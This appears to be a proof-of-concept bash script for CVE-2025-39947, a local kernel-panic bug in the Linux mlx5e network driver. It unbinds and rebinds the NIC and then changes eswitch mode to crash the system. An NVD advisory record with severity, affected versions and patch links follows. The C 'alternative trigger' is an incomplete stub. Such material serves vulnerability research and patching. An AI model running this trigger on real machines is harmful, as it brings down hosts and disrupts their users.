CVE-2025-39947

# PoC for CVE-2025-39947 - Linux Kernel mlx5e NULL Pointer Dereference # This PoC triggers the vulnerability by attempting to set eswitch mode # while the uplink netdev is in an unbound state. #!/bin/bash # Prerequisites: System with Mellanox/NVIDIA mlx5 NIC, root or CAP_NET_ADMIN # This script attempts to trigger the NULL pointer dereference in mlx5e_vport_rep_load() # Step 1: Identify the mlx5 device DEV_LINK=$(ls /sys/class/net/ | grep -E "^ens.*f0$" | head -1) echo "[*] Target device: $DEV_LINK" # Step 2: Unbind the uplink netdev from mlx5_core.eth driver echo "[*] Unbinding uplink netdev..." DEV_PCI=$(ethtool -i $DEV_LINK 2>/dev/null | grep "bus-info" | awk '{print $2}') echo $DEV_PCI > /sys/bus/pci/drivers/mlx5_core/unbind 2>/dev/null sleep 1 # Step 3: Rebind the device (this clears uplink_netdev pointer) echo "[*] Rebinding device..." echo $DEV_PCI > /sys/bus/pci/drivers/mlx5_core/bind 2>/dev/null sleep 1 # Step 4: Immediately try to set eswitch mode to trigger the NULL dereference echo "[*] Triggering eswitch mode change..." DEV_NAME=$(ls /sys/bus/pci/devices/$DEV_PCI/net/ 2>/dev/null | head -1) if [ -n "$DEV_NAME" ]; then devlink dev eswitch set pci/$DEV_PCI mode switchdev 2>/dev/null echo "[*] Command sent. Check dmesg for kernel panic." else echo "[!] Could not find netdev for $DEV_PCI" fi # Alternative trigger using netlink directly (requires C code) # Compile and run the following C program: /* #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> int main(int argc, char *argv[]) { // Open netlink socket int nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nlfd < 0) { perror("socket"); return 1; } // Send DEVLINK_ESWITCH_MODE_SET message // This will trigger mlx5_devlink_eswitch_mode_set() -> ... -> mlx5e_vport_rep_load() // which dereferences the NULL uplink_netdev pointer printf("Sending devlink eswitch mode set via netlink...\n"); // Note: Actual netlink message construction requires proper headers // and family ID resolution for the devlink generic netlink family close(nlfd); return 0; } */ echo "[*] PoC execution complete. Check 'dmesg | tail' for kernel oops/panic."

{"cve": {"id": "CVE-2025-39947", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:47.867", "lastModified": "2026-04-06T13:32:39.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Harden uplink netdev access against device unbind\n\nThe function mlx5_uplink_netdev_get() gets the uplink netdevice\npointer from mdev->mlx5e_res.uplink_netdev. However, the netdevice can\nbe removed and its pointer cleared when unbound from the mlx5_core.eth\ndriver. This results in a NULL pointer, causing a kernel panic.\n\n BUG: unable to handle page fault for address: 0000000000001300\n at RIP: 0010:mlx5e_vport_rep_load+0x22a/0x270 [mlx5_core]\n Call Trace:\n <TASK>\n mlx5_esw_offloads_rep_load+0x68/0xe0 [mlx5_core]\n esw_offloads_enable+0x593/0x910 [mlx5_core]\n mlx5_eswitch_enable_locked+0x341/0x420 [mlx5_core]\n mlx5_devlink_eswitch_mode_set+0x17e/0x3a0 [mlx5_core]\n devlink_nl_eswitch_set_doit+0x60/0xd0\n genl_family_rcv_msg_doit+0xe0/0x130\n genl_rcv_msg+0x183/0x290\n netlink_rcv_skb+0x4b/0xf0\n genl_rcv+0x24/0x40\n netlink_unicast+0x255/0x380\n netlink_sendmsg+0x1f3/0x420\n __sock_sendmsg+0x38/0x60\n __sys_sendto+0x119/0x180\n do_syscall_64+0x53/0x1d0\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n\nEnsure the pointer is valid before use by checking it for NULL. If it\nis valid, immediately call netdev_hold() to take a reference, and\npreventing the netdevice from being freed while it is in use."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.13", "versionEndExcluding": "6.6.108", "matchCriteriaId": "84042552-3154-4D6D-94FE-7B09EE057C35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.49", "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2cb17c88edd3a1c7aa6bc880dcdb35a6866fcb2e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6b4be64fd9fec16418f365c2d8e47a7566e9eba5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8df354eb2dd63d111ed5ae2e956e0dbb22bcf93b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d1f3db4e7a3be29fc17f01850f162363f919370d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}